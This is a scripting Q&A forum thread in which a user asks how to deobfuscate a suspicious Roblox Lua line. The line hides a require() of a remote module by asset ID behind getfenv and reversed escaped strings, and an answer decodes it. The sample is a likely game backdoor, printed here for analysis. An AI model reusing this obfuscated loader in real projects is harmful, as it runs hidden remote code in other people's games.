Scripting Helpers is winding down operations and is now read-only. More info→
Log in to vote
0
How Would I Deobfuscate This Malicious Code?
Hey, someone on the DevForum posted about a malicious line of code, but no one knows what it actually does. Where would I start with deobfuscating this?
getfenv() [getfenv() ["\115\116\114\105\110\103"] ["\114\101\118\101\114\115\101"]("\118\110\101\102\116\101\103")]()[getfenv()["\115\116\114\105\110\103"]["\108\111\119\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\69\82\73\85\81\69\82"))](getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\53\52\55\52\55\55\53\57\54\50"))):Fire(getfenv()["\103\97\109\101"][getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\101\99\97\112\115\107\114\111\87")][getfenv()["\116\111\115\116\114\105\110\103"]("\68\105\115\116\114\105\98\117\116\101\100\71\97\109\101\84\105\109\101")]*getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\53\57\48\52\49\54\50\46\54")))*getfenv()["\116\111\110\117\109\98\101\114"]("\50"))
0
do you want to use it or something? theking48989987 2147 — 5y
0
No, I'm just trying to deobfuscate it to figure out what it actually does. For all we know, it might not even be malicious. However, with all the obfuscation, it probably is. Xiousa 156 — 5y
0
Just throw it out. User#25115 0 — 5y
0
I'm not using this. I'm trying to figure out what it does. Xiousa 156 — 5y
View all comments (2 more)
0
If as the original DevForum post said -- that this is an obfuscated require to a private module then deobfuscating won't actually accomplish anything will it? SummerEquinox 643 — 5y
0
It wouldn't be a private module, since third-party private modules can't be required anymore. If it is a require, I can look at the source of the module and find out what it does exactly. Xiousa 156 — 5y
1 answer
Log in to vote
2
require(2695774745):Fire(game.Workspace.DistributedGameTime*6.2614095*2)
0
How? Flip265 -14 — 3y